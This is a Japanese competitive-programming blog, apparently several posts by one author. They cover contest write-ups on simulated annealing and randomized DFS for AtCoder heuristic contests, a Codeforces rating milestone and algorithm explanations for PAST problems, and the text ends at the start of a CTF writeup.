ALGO ARTISプログラミングコンテスト(AHC010) 参加記
ALGO ARTISプログラミングコンテスト(AHC010)に参加しました。
結果は1位/1400人*1で、優勝でした。初優勝なのでとてもうれしいです。
#AHC010 優勝しました!!!!!!! pic.twitter.com/9uyghQy1dE
— takumi152💉💉💉 (@takumi152) 2022年4月24日
ということで、以下に今回の解法や感想について書いていきます。
問題
グリッド上に曲線状・直線状の線路が乗った正方形タイルが置いてあるので、タイルを回転させてできるだけ長いループ*2を2つ作ってね。
2つのループの長さの掛け算がそのまま点数になるよ*3。
解法(簡易版)
以下のツイート(とリプ欄)を参照してください。
#AHC010 やったこと(1位, 20.218M)
— takumi152💉💉💉 (@takumi152) 2022年4月24日
- 初期解として既に存在するループの中から中央に近い2つを選択する。
- 2つのループの経路を焼きなます。近傍は1種類で、「解として持っているうちの1個のループについて、ループの一部を破壊して再構築する」とした。
最終提出時のコードはこちらです。
解法(もっと詳しく)
主に以下の2つを使って解を求めました。
- 乱択DFSによるループ経路の変更
- 焼きなまし法
最終的な解法では、焼きなまし法を中心として、それに使う状態遷移の方法として乱択DFSによるループ経路の変更を使っています。
本記事ではこの2つについて順に説明を記載していきます。
なお、本記事では、各線路タイルの名称について、1本の曲線状レールが乗ったもの*4を曲線(1)レール、2本の曲線状レールが乗ったもの*5を曲線(2)レール、1本の直線状レールが乗ったもの*6を直線レールと呼ぶことにします。
乱択DFSによるループ経路の変更
あるループについて、「ループの一部を壊して、壊した部分を別の経路に置き換える」ということを考えます*7。
始点と終点を決めた後、進入先タイルの座標、タイルの進入方向、各タイルの2つのループ中での使用回数*8を管理しながら、終点のひとつ先のタイルと座標・進入方向が一致するところに到達するまでDFSをします。このとき次に進入するタイルの種類に応じて以下のように場合分けをしながら探索します。
曲線(1)レールの場合
タイルの使用回数が0回と1回の場合でそれぞれ分けて考えます。
まず0回の場合、そのタイルはループ中ではまだ使われていないので、適切にタイルを回転させることで、進入方向から見て90度時計回り、90度反時計回りに回転した方向のどちらにも進むことができます。
最初にどちらに進む方を探索するかはランダムに決めてしまってよいです*9。
次に1回の場合ですが、そのタイルはループ中で使われているので、タイルを回転させてしまうとループが壊れてしまいます*10。
また、タイルへの出入口は2方向しかないことと、ループで1回使われているということから、必ず出入口ではない方向から進入することが分かるので、そのタイルには進むことができません。
曲線(2)レールの場合
同様に、タイルの使用回数が0回と1回の場合でそれぞれ分けて考えます*11。
0回の場合は曲線(1)レールの場合と同様です。ただし、後から同じタイルを再び通る可能性があるので、タイルの回転を探索中の時点で行っておく必要があります。
次に1回の場合、曲線(1)レールの場合と同じく回転させることはできませんが、まだ使っていない側のレールの進行方向には進むことができます。
直線レールの場合
同じくタイルの使用回数が0回と1回の場合で分けて考えます。
0回の場合、適切に回転させることで進入方向と同じ方向に進むことができるので、同じ方向にある次のタイルを探索すればよいです。
1回の場合は、曲線(1)レールの場合と同様にループが壊れてしまうので進入することはできません。
その他
以上のように場合分けして探索をすればよいですが、乱択なので行きたい方向とは全く別の方向に探索が進んでしまい、非常に時間がかかってしまう可能性があります。
そのため、探索ステップ数や探索時間に上限を設定して、上限に達したら探索を打ち切って元のループを復元することにしています。
この手法が使える類題として、短期コンテストではAHC002、長期コンテストではMM119などがあります*12。
(AHC002は移動方向に対する制約が少なく、実装も今回に比べて単純なので、そちらで練習してみるのもおすすめです。)
焼きなまし法
典型的な焼きなまし法です。焼きなまし法自体の解説はgasinさんやツカモさんの記事などが詳しいのでそちらにお任せすることにします。
解の持ち方
焼きなましにおける解の持ち方ですが、現在の盤面のタイルの種類*13と、ループごとに経路情報を表す(タイルのx座標, タイルのy座標, このタイルから出る方向)の組の列を状態として持つことにしています。
初期解
盤面の初期状態の時点で存在しているループの中から、中心までのマンハッタン距離が最も近い2つのループを選択します*14。
選択した2つのループについてそれぞれの経路情報を求め、これを初期解とします。
状態遷移
状態遷移は1種類のみで、どちらか1つのループの中からランダムに始点と終点を選択して、その区間について「乱択DFSによるループ経路の変更」の項で説明した方法で新しい経路を探索する、というものです。
探索が(打ち切られずに)終了して新しい経路が求まったら、後述の評価関数で新しい経路を使った場合の評価を行い、状態遷移を行うかどうかを決めます。
評価関数
評価関数は2種類用意して、前半と後半に分けてそれぞれ使用する評価関数を変更しています。
前半は2つのループの長さの線形和を評価関数としています(最終提出時の解法ではとしました)。
この問題の(本来の)スコア計算方法では、現在の解のスコアが大きくなるほど、ループの長さが1だけ短くなったときのスコアの下げ幅が大きくなりやすくなり、温度が同じでもスコアが下がる遷移が起きにくくなるのであまり望ましくないと考えられます。
そこで、ループの長さによるスコアの下げ幅が大きくならないようにすればそのようにならなくなるのではないかと思い、この評価関数を使うことにしました。
後半は問題のスコア計算方法と同じものを評価関数としています。
結果
以上の解法により、最終提出時での点数は20,218,968点となりました。
本番中に20M点台を出したのは自分一人だけだったようです*15。わーい。
実際の出力の結果ですが、例えばseed = 0の場合は以下のようになります。
seed: 0 (score = 206944) #AHC010 pic.twitter.com/XGOhZmwA0S
— takumi152💉💉💉 (@takumi152) 2022年4月24日
コンテスト中にやったこと
本番中にやったことや考えていたことを時系列順に書いています*16。
0:00 - 開始
問題文を読んだ。 ビジュアライザを確認するとmanual modeが用意されているみたいなので試すことに。
0:10 - 考察
manual modeで試してみている過程で、以下のようなことを思った。
- 既存のループを少しずつ大きくしていくとよさそう。
- タイルは回転しかできないので、今のループを少しだけ変えて大きくするのは難しそう。
- 一方で、今のループを一旦壊して別の経路を作ろうとすると、手で適当にDFSっぽいことをすれば普通に作れる
- ループを壊す部分は、今のループのうち曲線部分2つの向きを変えればできそう
経路を部分的に破壊して別の経路を作るといえば、AHC002で似たようなことをした覚えがある。
・・・ということは、これはAHC002の類題か?だとしたら部分経路破壊+乱択DFSでの再構築と、焼きなましを使えばよさそう。
0:15 - 実装(前編)
実装開始。とりあえず初期解を選ぶところ(と、それに必要なループ判定)から実装。
初期解を選ぶときに回転を考えながらやるのは面倒なので、最初から既にあるループの中から適当な2つを選ぶことにする。
入力を20種類ほど確認してみたが、どれもループは少なくとも2つあるので、とりあえずこれで進めてしまってよさそう。
あとは、端の方にあるループを選択してしまうと大きくできないまま詰まってしまう気がするので、できるだけ中央に近いループを選択することにする。
1:15 - 実装(中編)
初期解の選択を実装した。続けて焼きなまし部分と経路再構築部分の実装に入る。
ループの状態をどう持つべきか悩ましいが、とりあえず各ループが通る位置とその方向を、ループごとにの配列で持つことにした*17。
2:00 - 実装(後編)
経路再構築部分の実装をしていたが、考えていたループの状態の持ち方ではうまくいかないことが分かった。
仕方がないのでループの状態を変えて、ループごとに(x座標, y座標, タイルから出る方向)の組の列で持つことにする。
この時点では、実装が間に合わずに提出しないまま終わってしまうのではないかと思ってかなり焦っていた。
2:45 - デバッグ
一通り実装が完了した。が、segmentation faultで落ちていたり、コード側で求めたスコアが実際のスコアと一致しなかったりと、バグが多い状態。
幸い、ちゃんとassertを入れていたことで、大部分については何が起きているかすぐに分かって、どこにその原因があるかを探すだけだったので、複雑な実装をした割にはスムーズにデバッグができた。
また、この時点でも100k点程度が出るケースがあることは確認できていたので、方針としては正しそうだと思った。
3:35 - 初提出
デバッグが完了し、初提出。11.044M点(最終18位相当)を出した。
3:40 - パラメータ調整(1)
残り時間が少ないので、あまり大きな改善はできなさそう。
とりあえずパラメータ調整をまともにやらないまま提出をしていたので、まずは焼きなましの温度を手で調整して、200k点程度出るケースがあることを確認して再提出。19.799M点を出して暫定1位になった*18。
3:45 - パラメータ調整(2)
この時点でも既に勝ちを確信しつつあったが、逃げ切るためにさらに改善を入れることに。
次は試行回数を増やすため、経路再構築時のDFSの探索回数上限を下げた。点数が何となく上がっていそうなことを確認して提出したところ、20.131M点が出た。
3:50 - 評価関数の改善
これ以上調整できそうなパラメータは無さそうなので、今度は評価関数を改善することにした。
これまでは問題のスコア計算方法をそのまま評価関数にしていたが、これだと点数が上がるほど状態が戻りにくくなってしまい良くないので、先にループの長さの線形和を評価関数として焼き、その後本来のスコアで評価することを考えた。
この時点では小さい方のループの長さだけを使っていたためか、点数は改善しなかった(20.064M点)。
3:59 - 最終提出
最初に使う評価関数で長い方のループの長さも使うよう変更。
パラメータ調整もさらに行ったところで最終提出を行い、20.218M点で終了した。
感想
途中までは実装方針のミスなどでタイムロスがあり、どうなるかと思いましたが、結果として優勝することができたのはとてもうれしいです。
ヒューリスティックレートも2533 → 2757になり、†レッドコーダー†入りが一気に現実に近くなりました*19。
今回の問題は以前の4時間コンテストと比べると少し複雑な印象でしたが、4時間コンテストの難易度感・実装量としてはちょうどいいぐらいかなと思いました*20。
ALGO ARTISさん、ありがとう・・・
— takumi152💉💉💉 (@takumi152) 2022年4月24日
takumi152さんのALGO ARTIS プログラミングコンテスト2022(AtCoder Heuristic Contest 010)での成績:1位
パフォーマンス:3375相当
レーティング:2533→2757 (+224) :)#AtCoder #ALGOARTISプログラミングコンテスト2022 https://t.co/5TB8sMLxB4
*1:うち提出者678人、正の得点を得た参加者660人
*2:問題文中では「環状線」と呼んでいますが、本記事では「ループ」で統一することにします。
*3:作られたループが3つ以上なら、その中で最も長い2つだけが点数計算に使われます。
*4:問題文中では0~3番のタイルが該当します。
*5:問題文中では4, 5番のタイルが該当します。
*6:問題文中では6, 7番のタイルが該当します。
*7:ここでは「壊す」と書いていますが、実際の処理ではその区間に含まれるタイルのループ中での使用回数を減らしているだけです。
*8:DFSで探索中のものも含みます。
*9:乱択なので。
*10:場合によっては回転させることで新しいループが完成することがありますが、ここでは面倒なので考えないことにします。
*11:厳密には2回の場合もありますが、この場合はそのタイルに進入する方法がないので、ここでは考える必要はありません。
*12:グリッド上などでできるだけ長い経路を求めたいときに使える印象があります。
*13:出力する解自体は、この情報だけから求めることができます。
*14:初期盤面によっては最初から存在するループが1つ以下の場合もあり得ますが、採点用のテストケースではそのようなケースはなかったようなので特に考えていません。
*15:ちなみに2位のRafbillさんは19,646,280点でした。
*16:本番中にこの辺の内容を書く余裕は無かったので、終わった後にうろ覚えで書いています。ご了承ください。
*17:下でも書いているが、実際はこの方法だと、曲線が2つあるタイル上を1つのループが2回通る場合に対応できない。
*18:この時点で最終1位相当の点数になっていた。
*19:次に2890perf(4位相当)程度以上を取るとレッドコーダーになれるらしい。
*20:難易度に対する個人的な思想ですが、解として詰め切れていそうな人が2, 3人程度で、パラメータ調整や乱数お祈りだけでは優勝できないぐらいが丁度良いと思っています。
HTTF2022 考察メモ
HTTF2022 お疲れさまでした。
結果としては、暫定41位(99717点)でした。
以下、コンテスト期間中の自分の考察メモです。
11/3
- ぞい!
- 問題を読んだ
- 以下の2つの問題に分けられそう
- 技能レベルを推測する問題
- 誰がどのタスクをやるか決める問題
11/4
- 実装開始
- 以下の3つの問題に分けて考えることにする
- 技能レベルを推測する問題
- どの順番でタスクをやるか決める問題
- 誰がどのタスクをやるか決める問題
- 技能レベルを推測する問題
- タスクを1個か2個ぐらいやらないと何も分からない
- 過去の履歴とできるだけ矛盾が生じないような技能レベルを求めたい
- AHC003でやったのと似ている
- 焼きなましとかでできそう
- どの順番でタスクをやるか決める問題
- 適当にBFSでもすればいいか?
- 雑にやると、特に後半の並列度が下がりそう
- 動的に更新するのも考えられる
- あるタスクから一番遠いタスクまでの距離(or何らかの評価関数)が最大のものから順にやる、みたいな
- クリティカルパス的なやつ
- 誰がどのタスクをやるか決める問題
- 貪欲でよさそう?
- うまく焼ければ改善する可能性はある
- 貪欲でよさそう?
11/5
- ベースラインを作成(1657664 @ 1000case)
- 空いている人に空いているタスクを順に割り当てるだけ
- ボトルネックが存在するケースは普通にある
- seed=450,999とか
- そうじゃないケースも割とあるので(seed=0とか)、分けて考えると良さそう
- 技能レベルを推測する問題
- 上限の予測が難しそう
- 実際のレベル > 必要レベルだと日数への影響が発生しないので
- 最初の方はsum(今までのmax(あるスキルの必要レベル))ができるだけ大きくなるようにすると良さそう?
- その分ロスが大きそうな気もするが
- 上限の予測が難しそう
- どの順番でタスクをやるか決める問題
- 構造はDAG
- やる順序はトポロジカルソートとして成立していればおk
- 各タスクについて以下を持っておけばよさそう
- 現在の順序
- 1つ前のタスクの中で最後にあるものの順序
- 移動可能範囲の下限になる
- 1つ後のタスクの中で最初にあるものの順序
- 移動可能範囲の上限になる
- 前後にあるタスクの数の平均は高々6個なので、更新部分は雑でいいかも
- シミュレーションの方が重くなるので
- 全体の順序と人ごとの順序を持たせる
- 全体の順序を変更後、それに合わせて人ごとの順序を変更する
- 構造はDAG
11/6
- どの順番でタスクをやるか決める問題
- とりあえず最序盤部分とそれ以降の初期化・割り当て実行部分だけ実装
- 最序盤は実行したタスクの要求レベルの最大値の合計が最大になるよう貪欲
- それ以降は各人ごとの順序を最適化する感じ
- 前後依存の部分は番号順になるようにすればよい?
- 番号順の場合はデッドロックが発生しないことが保証できる
- 自由度は当然下がる
- 焼きなましを実装してみた
- シミュレーション部分が重すぎて、現時点ではまともに使えない
- 1msで30iterぐらいしか回らない
- もっと軽い+いい感じに評価できる方法があればいいが・・
- シミュレーション部分が重すぎて、現時点ではまともに使えない
- とりあえず最序盤部分とそれ以降の初期化・割り当て実行部分だけ実装
11/7
- 貪欲割り当てを実装(1853525 @ 1000case, 90997 @ preliminary)
- 割り当てられるタスクを、番号順に空いている人のうち一番速く終わらせられると推定される人に割り振る
- 「番号順」を「自身のタスクから、別の依存しているタスクまでの深さの最大値が大きい順」にした場合(1867168 @ 1000case, 91900 @ preliminary)
- タスク実行中の人に割り振った方が終了時間が速くなるなら割り振らないことした場合(1870040 @ 1000case, 92440 @ preliminary)
- ↑の対象を「自身への依存が存在するタスク」に限定した場合(1938707 @ 1000case, 95701 @ preliminary)
- タスク実行中の人に割り振った方が終了時間が速くなるなら割り振らないことした場合(1870040 @ 1000case, 92440 @ preliminary)
- 「自身のタスクに深さに関係なく依存しているタスクの数が多い順」にした場合(1848879 @ 1000case)
- タスク割り当てを焼きなましでやる場合
- 「どのタスクを割り当てるか」をまず決めた方がよさそう?
- 依存が全くない場合のターン数は求まる
- 残りタスク数100個以下になったら、ある時点で実行可能なタスクのみを対象として焼きなまし(1944939 @ 1000case, 95568 @ preliminary)
- よく見たらバグらせていた(別の依存しているタスクまでの深さの最大値が最小のものからやっていた、本来の意図はその逆)
- 「どのタスクを割り当てるか」をまず決めた方がよさそう?
11/8
- タスク割り当てを焼きなましでやる場合
- 疎グラフ(R < 1500)の場合だと有効
- R < 1500 の場合のみ、残りタスク数500個以下になったら全タスクを対象に焼きなまし(1958849 @ 1000case, 96799 @ preliminary)
- 各タスクの予想最早開始時間みたいなのを持てれば密グラフに対しても有効そう?
- 実装してみたが、あまりうまくいっていない
- シミュレーションをもう少し速くやる方法を思いついた
- 数百iter程度しか回らなさそうだが
11/9
- 焼きなまし
- シミュレーションを実装
- 最低で150iter/1msぐらい
- スコアは上がっていない
- 技能レベルの推定が正しいことが前提なので、特にクリティカルパスで推定よりも伸びると厳しい
- 依存先になっていないタスクはいつやってもいいはずなので、依存先になっているタスクのみを対象に最適化すればよい?
- 待っている間は別のタスクを入れるイメージ
- シミュレーションを実装
- レベルの予測
- 分散とL2ノルムもペナルティとして考慮した方がよさそう
- 現状、過去の履歴との誤差と、各レベルの大きさによるペナルティしか考慮していないので
- 試してみたがうまくいかなかった
- 分散とL2ノルムもペナルティとして考慮した方がよさそう
11/10
- 貪欲割り当て
- 割り当て順を「最短での解除まで最も遠い終端タスクまでの距離(時間)」が大きいものから順にやる?
- (推測が正しいと仮定すれば)それがクリティカルパスの最初のタスクになるので
- これだけだとそんなに効果ないかも?(1922005 @ 1000case)
- タスク50個完了時と960個完了時に選び方を若干変化させるようにしたら改善した(1960125 @ 1000case, 96713 @ preliminary)
- R < 1500のときに焼きなました場合(1971553 @ 1000case, 97166 @ preliminary)
- 割り当て順を「最短での解除まで最も遠い終端タスクまでの距離(時間)」が大きいものから順にやる?
11/11
- optunaを回してハイパーパラメータを最適化してみた(1983404 @ 1000case, 97920 @ preliminary)
- 実は一部ハイパーパラメータが反映されていなかったことが判明した(11/12)
- レベルの予測
- 何もわからん!
- 何らかの確率モデルを使って、ベイズ推定的なことをすればいいのか?
- eivourさんがAHC003でやってたやつみたいな感じ
- 何もわからん!!
11/12
- 貪欲割り当て
- 割り当て順を決めるときに使う「最も遠い終端タスクまでの距離(時間)」を、一番遅い人を基準に決める(1996220 @ 1000case, 98009 @ preliminary)
- 今までは一番速い人を基準に決めていた
- ハイパーパラメータとして追加できそう(何番目に速い/遅い人を基準にするか)
- 割り当て順を決めるときに使う「最も遠い終端タスクまでの距離(時間)」を、一番遅い人を基準に決める(1996220 @ 1000case, 98009 @ preliminary)
- optunaをもう一度回した(2004253 @ 1000case, 98658 @ preliminary)
- 推測したレベルを-1して処理した場合(2014080 @ 1000case, 99285 @ preliminary)
- 上振れするリスクを減らすのは重要そう
11/13
- R > 1500のときだけ推測したレベルを-1した場合(2020098 @ 1000case, 99348 @ preliminary)
- これもハイパーパラメータ化できそう
- 最初の方の貪欲順を「要求レベルのL2ノルムが小さい順」にすると、Rが小さいケースで少し伸びる
- eivourさんのvisualizerを参考にした
- 最初の方は軽いやつをやらせて、早い段階でレベルの推定結果が収束するようにしている?
- 同じくハイパーパラメータ化
- できていなかった・・(コマンドライン引数を受け取り忘れていた)
- eivourさんのvisualizerを参考にした
- 最後のoptuna実行(2023085 @ 1000case, 99717 @ 1000case)
- おしまい
AHC003 参加記
とても面白い問題でした。
問題
30*30の辺重み(長さ)付きグリッドグラフがある(ただし、各辺の長さは入力としては与えられない)ので、以下のクエリを1000回処理してねという問題です。
- 各クエリの入力として、始点と終点が与えられる。
- 出力として、始点から終点までのできるだけ短いパスを1つ求めよ。
- 出力後、そのパスの距離に0.9以上1.1以下の一様乱数を掛けた値が入力として返される。
各クエリについて、出力したパスの距離と実際の最短距離が近いほど高得点が得られます。
また、後の方のクエリになるほど、以下のように1回のクエリで得られる最大得点が上昇していきます。
なお、1個のテストケースにおける満点は999,999,910点です。
結果
システムテスト前の点数は96,818,948,890点で、24位でした。
システムテスト後の点数は2,905,238,839,320点で、順位は変わらず24位でした。
解法
各クエリごとに、入力生成に使われたパラメータを焼きなまし法で推測(1クエリあたり1.97ms実行)し、求めた推測値を使った場合の最短経路を出力する(探索のために敢えて別の経路を取ることはしない)という方法をとりました。
推測するパラメータは、問題文中の「入力生成方法」のうち、と仮定した場合の以下のパラメータとしています(の場合はとの値が大体同じになる(とについても同様)だろうと期待してこのような仮定を置きました)。
評価関数は、あるパスの現在の推測値から求められる距離を、そのパスを使ったクエリで返ってきた距離をとして、を各クエリについて求めたときの総和からペナルティ(後述)を引いたものとしています。
つまり、今までのクエリで返ってきた距離と、現在の推測値から求められる距離が近いほど、その推測値の基本評価が高いというようにしています。
ただし、の値との値について、それぞれある定数との差異の2乗に比例したペナルティを与えることにしています。これは、パラメータとして現れにくい値(例えば、あるについてとなることはほとんどない)を抑制することで、精度が上がりやすくなることを期待するものになっています。
このペナルティの基準となる定数と、ペナルティ自体の係数は、optunaを利用して設定しました。例えば、に対するペナルティ自体の係数と、100ケース(seed = )のスコアの関係はこんな感じになりました(実際には1000ケースのスコアを使ってパラメータを決めました)。
optunaを使ったのは今回が初めてでしたが、簡単に使える上にとても便利だなと感じました。
実際、optunaを使って決めたパラメータを使った結果、手動で決めたパラメータを使った場合よりも、点数が0.33G点ほど上がりました。
今回はパラメータ調整にoptunaを使うのを初めてやったけど、optunaすごいね
— takumi152☀ (@takumi152) 2021年5月30日
(下が手動で調整した場合、上がoptunaの結果を見て良さそうなパラメータに設定した場合) pic.twitter.com/ufVFvkoxIf
感想
今回は焼きなましをしましたが、上位勢の方々の解法は機械学習や統計を駆使したものが多かったようです。
上位勢の方々の解法はまだあまり理解できていないので、少しずつその辺の知識を身につけていきたいなーと思いました。
(この辺の知識、ちゃんと身につけられたら業務とかでも普通に使えそう)
今回の解法に至るまで
ここからは今回の解法にたどり着くまでに何をしたかをざっくりと書いていきます。
1日目
問題を読みました。
とりあえず暫定1位を取っておくことを狙って、「クエリで使ったパスに含まれる各辺について、長さの推定値を返ってきた距離の1辺あたりの値に近づけるように更新する(ただし更新回数が多い辺ほど推定値の変更率を小さくする)」という感じの解法を2時間程度で作りました。
この時点での点数は89.87G点で、20分程度でしたが暫定1位を取ることに成功しました。
暫定1位~ pic.twitter.com/FFmvMDsoWx
— takumi152☀ (@takumi152) 2021年5月22日
2日目
この日は実装はせず、考察をしていました。
この時点では、
- 問題自体の印象として、Multi-armed banditに近い感じを持った
- だとしたら、最短パスを推測するための探索をどんな感じでやるかが重要になってきそう
- ということはUCB1とかを使うといい感じに探索ができるかも?
- どうやって適用するかはよく分からない
- 適用できたとして、探索による点数のロスは気になる
というようなことを考えていました。
3日目
前日に考えていた考察内容に進展はありませんでした。 一方で、こんなことを考えていました。
- 過去のクエリとなるべく整合性が取れる推測をしたい
- 辺の長さを推測するためにはテストケース生成に使われたパラメータを推測すればよさそう
- 統計とかを使っていい感じに推定する方法はよく分からない
- とりあえず焼きなましで殴ればよくないか?
そこで、今回の解法の元となった、入力生成に使ったパラメータを山登り法で推測する解法を実装しました(この時点ではペナルティは未実装。また、焼きなましだとパラメータ調整がうまくいってないせいか逆に点数が下がった)。
が、解法の項で挙げた全てのパラメータを推測しようとすると点数が大幅に下がったため、とりあえずだけを推測することにしました。
この時点での点数は95.39G点(暫定98位相当)。
ちなみに、この時点で試して効果がなかった改善案として、
- 最初の数回のクエリをできるだけ長いパスにする
- 最初の数回のクエリをランダムなパスにする
があります。
4日目~5日目
この期間は特に進捗はありませんでした。
6日目
山登りの点数計算のうち、の値を変更したときの点数の更新部分にバグがあることが分かり、修正しました。
この時点でも全てのパラメータを推測しようとすると点数が下がったため、とを推測するようにしました。
点数は95.53G点(暫定92位相当)。
7日目
山登りを焼きなましに変更したところ、全てのパラメータを推測したときに点数が上がったため、そのように変更しました。
この時点で点数は95.96G点(暫定66位相当)でした。
一方で、推測したの値と、実際の値が大きくずれていることがありました。これがずれているということは、の値も全体的にずれているはず(を軸に調整してほしいので、あまり望ましくない)だろうと思い、の値にペナルティを付けたらどうなるか試しました。その結果、点数が上がることが分かりました。 ここで点数は96.27G点(暫定54位相当)になりました。
8日目
前日にの値にペナルティを付けたら点数が改善したことが分かったので、の値にも同じようにペナルティを与えたらどうなるか試したところ、点数が96.48G点(暫定42位相当)に上がりました。
この時点で、コンテスト期間内にこれ以上の改善をするのは難しいだろうと考え、optunaによるパラメータ調整に入りました。調整を行った結果、最終的な点数は96.81G点(暫定24位)になりました。
Codeforces赤色になりました
7/24(金)のCodeforces Round #659 (Div. 1)でCodeforces赤色になりました。
こどふぉ赤になりました!!! pic.twitter.com/JeGnhoo1MH
— takumi152 (@takumi152) 2020年7月24日
橙色底辺から2回のコンテストで赤になっ(てしまっ)たので、まだあんまり実感がないです。
やったこと(?)
今回赤色になれたのは、Codeforces Round #658と#659で難易度が高めの問題(1381Cと1383D)を解くことができたことと、その結果として両コンテストで2桁順位に入ることができたからだと思っています。
Codeforcesの問題は、今まではdifficultyが2200か2300程度の問題までしかコンテスト中に解けたことがありませんでしたが、それ以上の問題を解くことができたのはとても大きいと思います。
(1381Cはdifficulty2500、1383Dは本記事執筆時点では不明(2800ぐらい?))
今後の目標
今回は問題セットとの相性がとても良かったという感じだったので、すぐに橙色に落ちる気がします(え?)
なので、しばらくは赤色を安定させることが目標になりそうです。
そのためにはdifficulty2500程度以上の問題を解ける確率を上げるのが重要になってくるだろうと思っています。一方で、上で挙げた2つのコンテストで解けなかった問題も、時間を掛ければ解くことができそう、と感じた(以前の自分だったら、こんなの分からん、無理だろ、ってなって終わっていたと思う)ので、赤色安定は案外早く達成できたりする・・かもしれないです。
第3回PAST 参加記
無料回だったので参加してみました。
結果
リアルタイム受験をしました。
結果は94点で、エキスパートに認定されました。やったね。
やったぜ#アルゴリズム実技検定 pic.twitter.com/hSCpQq6gqY
— takumi152 (@takumi152) 2020年5月23日
各問題を解くまでの時間はこんな感じでした(開始=13:00、終了=18:00)。
— takumi152 (@takumi152) 2020年6月6日
以下に各問題について書いていきたいと思います。
※どう解いたかうろ覚えな状態で書いているので、説明が雑な部分があります。予めご了承ください
- 結果
- A - ケース・センシティブ
- B - ダイナミック・スコアリング
- C - 等比数列
- D - 電光掲示板
- E - スプリンクラー
- F - 回文行列
- G - グリッド金移動
- H - ハードル走
- I - 行列操作
- J - 回転寿司
- K - コンテナの移動
- L - スーパーマーケット
- M - 行商計画問題
- N - 入れ替えと並び替え
- O - 輪投げ
- 最後に
A - ケース・センシティブ
文字列をそのまま比較した場合と、小文字に変換してから比較した場合を見るだけです。
ちなみにですが、最初はsame
かdifferent
を出せばよいと誤読して1WAを出しました(え?)
B - ダイナミック・スコアリング
序盤の重実装その1。
各参加者がどの問題を解いたかと、各問題の現在の得点を管理すればよいです。
C - 等比数列
ならをそのまま出力するだけです。
なら愚直にやって、答えがを超えたらその時点で計算を打ち切ればよいです。
ループ回数は高々回程度なので、十分間に合います。
D - 電光掲示板
序盤の重実装その2。
サンプルから各数字の見本を持ってきて、見本の状態と現在見ている数字の状態が全て一致しているかどうかを確認しました。
E - スプリンクラー
問題文の通りにグラフを作って解くだけです(雑)
なので、愚直にで解いても十分間に合います。
F - 回文行列
行列の列目と列目の両方に存在する文字があるかどうかを調べればよいです。
set
で出現した文字を管理すれば~程度ですが、愚直に全ての組を調べてもなので間に合うと思います。
G - グリッド金移動
最初の位置からBFSをすれば解くことができます。が、負の座標が存在するので少し厄介です。
自分の場合は、全ての座標を+1000だけずらしてからやることで負の座標を気にする必要が無くなると思ったので、そうしました。
H - ハードル走
各行動を行った後、位置まで到達するのに必要な最小時間をDPで求めればよいです。
、とすれば、遷移式は次のようになります。
(行動1を行った場合)
(行動2を行った場合)
(行動3を行った場合)
ただし、空中にいる状態でゴールする場合(行動2や行動3を行っている途中で位置に到達する場合)があるので、そこの場合分けが必要になります。この場合の遷移式は、
となります。
I - 行列操作
行列の現在の行と列の並び順を管理すればよいです。
また、転置の操作も存在しますが、これは行と列が入れ替わるという操作なので、
転置が行われた回数が偶数の場合は行(または列)に対する操作をそのまま行って、
奇数の場合は行(または列)に対する操作の行と列を入れ替えて操作を行う
とすればよいです。
J - 回転寿司
便宜上、まだ寿司を1つも食べていない子供が食べた寿司のおいしさの最大値をとすると、
- 子供が食べた寿司のおいしさの最大値は、常に降順になっている
という性質があります。
これは、ある子供(とする)が食べた寿司のおいしさの最大値が、その前の子供(とする)が食べた寿司のおいしさの最大値よりも大きいと仮定すると、が食べた寿司の中でおいしさが最大のものはが食べているはずなので矛盾する、という背理法的なやり方で示すことができます(本番ではもちろん無証明で、多分そうだろうなと信じてやりました)。
よって、各寿司が誰に食べられるかは二分探索を利用することで調べることができるので、この問題はで解くことができます。
K - コンテナの移動
各机の一番上にあるコンテナと、各コンテナのひとつ下のコンテナを管理することにすると、問題のサンプルの移動例は以下の画像のように表すことができます。
つまり、このような移動を実現するには、以下の3つの操作を行えばよいです。
移動対象のコンテナが元々あった机の一番上のコンテナを、移動先の机の一番上のコンテナにする。
移動対象のコンテナのひとつ下にコンテナがあれば、それを移動対象が元々あった机の一番上のコンテナにする。
移動対象のコンテナのひとつ下のコンテナを、移動先の机で元々一番上だったコンテナに(あれば)する。
上の図では分かりやすさのために連結リスト風の書き方をしていますが、vector
などで一番上のコンテナとひとつ下のコンテナを管理することにより各移動操作をで行うことができます。よって、この問題はで解くことができます。
L - スーパーマーケット
手前から1番目の商品の中で消費期限の値が最も大きいものがある列(インデックス)は、セグメント木を使うことでで求めることができます。手前から2番目にある商品についても同様です。
よって、手前から1番目と2番目の商品について消費期限の値を調べて、手前から1番目と2番目のどちらから商品が取られたかによって次の商品への入れ替えの場合分けをすればよいです。
M - 行商計画問題
の値の制約が非常に小さいことと、問題名から巡回セールスマン問題のような問題ではないかと予想ができます(本当か?)
実際、この予想は正しくて、個の街の間の最短距離をそれぞれ求めることで、(始点に戻らない)巡回セールスマン問題に帰着することができます。
ただし、制約的にnext_permutation
を利用した解法では間に合わないので、bitDPを利用した解法で解く必要があります。
ところで、この参加記を書いてて気が付きましたが、この問題の英語名は"Real Traveling Salesman"だそうです。やっぱり問題名が答えだった
N - 入れ替えと並び替え
とても難しかった問題。
どのような操作が行われるかを見ると、
隣接する要素のswap
指定した範囲のソート
があります。
愚直にやると任意の範囲に対して複数回ソートを要求されるので当然間に合いません。一方で、ソート以外の操作は、隣接要素のswapしかありません。
そこで、今までに行ったswapの操作に対して、うまく逆の操作を行うことで効率的にソートの操作を行うことができないか・・と、解いていた当時は考えていたと思います(超うろ覚え)
実際、swapのみを行った場合は転倒数は高々にしかならないので、必要な部分だけバブルソートを行ってやれば効率よくソートを行うことができそうです。
では、ソートが必要な部分はどうやって管理するかというと、自分の場合は遅延セグメント木を利用して、「最後にswapが行われてからソートが行われたかどうか」を確認することで行っていました(本番ではこれしか思いつきませんでしたが、実際はset
とかでも十分だと思われます)。
これで十分間に合うだろうと信じて提出をすると、通りました(本番では計算量をちゃんと考えていませんでしたが、実際の計算量はぐらいになりそう?)
O - 輪投げ
今回のPASTで唯一解けなかった問題。WA投げ
DP、もしくは貪欲っぽいなと思ってずっと考えていましたが、想定解は最小コストフローだったそうです。
何を食べたらこの問題がフローの問題だと判別できるんだろうか・・?
最後に
暖色コーダーでも88点が続出していたようでした(当社調べ)が、そんな問題セットでエキスパートを取れたので、かなりの自信になったかなと思います。
HSCTF 7 Writeup
初writeupです。
6月1日~6月6日まで開催されたHSCTF 7にチームAbyss Syndromeとして参加しました。
点数はチーム全体で3715点で、順位は132位/1466チームでした。自分はAlgorithmsとMiscellaneousを中心に解いて、2095点を取りました。
以下、自分が解いた問題のwriteupになります。
- pwnagotchi (Binary Exploitation, 116点)
